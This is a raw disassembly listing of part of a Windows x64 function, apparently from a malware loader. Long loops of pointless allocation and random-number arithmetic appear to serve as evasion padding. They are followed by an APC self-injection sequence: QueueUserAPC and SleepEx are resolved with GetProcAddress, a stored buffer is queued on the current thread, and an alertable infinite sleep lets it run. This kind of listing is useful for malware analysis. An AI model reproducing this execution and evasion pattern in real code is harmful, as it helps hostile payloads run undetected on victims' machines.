sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x7bc]
cdqe
shl rax, 6
mov rcx, rax
mov rax, qword [rbp + 0x5f0]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x7b8]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x7b8], 1
cmp dword [rbp + 0x7b8], 0xf
jle 0x1400028f9
add dword [rbp + 0x7bc], 1
cmp dword [rbp + 0x7bc], 0x3c
jle 0x1400028ea
mov dword [rbp + 0x7bc], 0
jmp 0x140002a95
mov dword [rbp + 0x7b8], 0
jmp 0x140002a81
mov eax, dword [rbp + 0x7bc]
cdqe
shl rax, 6
mov rdx, rax
mov rax, qword [rbp + 0x5f8]
add rdx, rax
mov eax, dword [rbp + 0x7b8]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x7bc]
cdqe
shl rax, 6
mov rdx, rax
mov rax, qword [rbp + 0x5f0]
add rdx, rax
mov eax, dword [rbp + 0x7b8]
cdqe
movss xmm1, dword [rdx + rax*4]
divss xmm0, xmm1
pxor xmm2, xmm2
cvtss2sd xmm2, xmm0
movq rax, xmm2
movq xmm0, rax
call fcn.140003e20
mov eax, dword [rbp + 0x7bc]
cdqe
shl rax, 6
mov rdx, rax
mov rax, qword [rbp + 0x5e8]
add rdx, rax
cvtsd2ss xmm0, xmm0
mov eax, dword [rbp + 0x7b8]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x7b8], 1
cmp dword [rbp + 0x7b8], 0xf
jle 0x1400029e9
add dword [rbp + 0x7bc], 1
cmp dword [rbp + 0x7bc], 0x3c
jle 0x1400029da
mov rax, qword [rbp + 0x5f8]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x5f0]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x5e8]
mov rcx, rax
call sub.msvcrt.dll_free
add dword [rbp + 0x7e4], 1
cmp dword [rbp + 0x7e4], 0x4ae
jle 0x140002706
mov dword [rbp + 0x7b4], 0xffffffff
mov ecx, 0xa38
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x630], rax
mov ecx, 0xa38
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x628], rax
add dword [rbp + 0x7b4], 1
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2sd xmm6, edx
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2sd xmm1, edx
mov eax, dword [rbp + 0x7b4]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x630]
add rax, rdx
divsd xmm6, xmm1
movupd xmm0, xmm6
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x7b4]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x630]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x7b4]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x628]
lea rbx, [rcx + rdx]
movq xmm0, rax
call fcn.140003fb0
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x7b4], 0x145
jle 0x140002b12
mov rax, qword [rbp + 0x640]
mov qword [rbp + 0x620], rax
mov rax, qword [rbp + 0x7a0]
lea rdx, str.QueueUserAPC
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x618], rax
mov rax, qword [rbp + 0x7a0]
lea rdx, str.SleepEx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x610], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rax
mov rdx, rax
mov rax, qword [rbp + 0x620]
mov r9, qword [rbp + 0x618]
mov r8d, 0
mov rcx, rax
call r9
mov ecx, 0x538
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x608], rax
mov dword [rbp + 0x7b0], 0
jmp 0x140002cd8
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x14000b5e8]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x7b0]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x608]
add rax, rdx
movsd xmm1, qword [0x14000b5f0]
subsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x7b0], 1
cmp dword [rbp + 0x7b0], 0xa6
jle 0x140002c8a
mov dword [rbp + 0x7b0], 0
jmp 0x140002d3f
mov eax, dword [rbp + 0x7b0]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x608]
add rax, rdx
movsd xmm0, qword [rax]
mov eax, dword [rbp + 0x7b0]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x608]
add rax, rdx
movq xmm1, qword [0x14000b600]
andpd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x7b0], 1
cmp dword [rbp + 0x7b0], 0xa6
jle 0x140002cf0
mov rax, qword [rbp + 0x610]
mov edx, 1
mov ecx, 0xffffffff
call rax
mov eax, 0
movups xmm6, xmmword [rbp + 0x830]
add rsp, 0x8c8
pop rbx
pop rsi
pop rdi
pop rbp
ret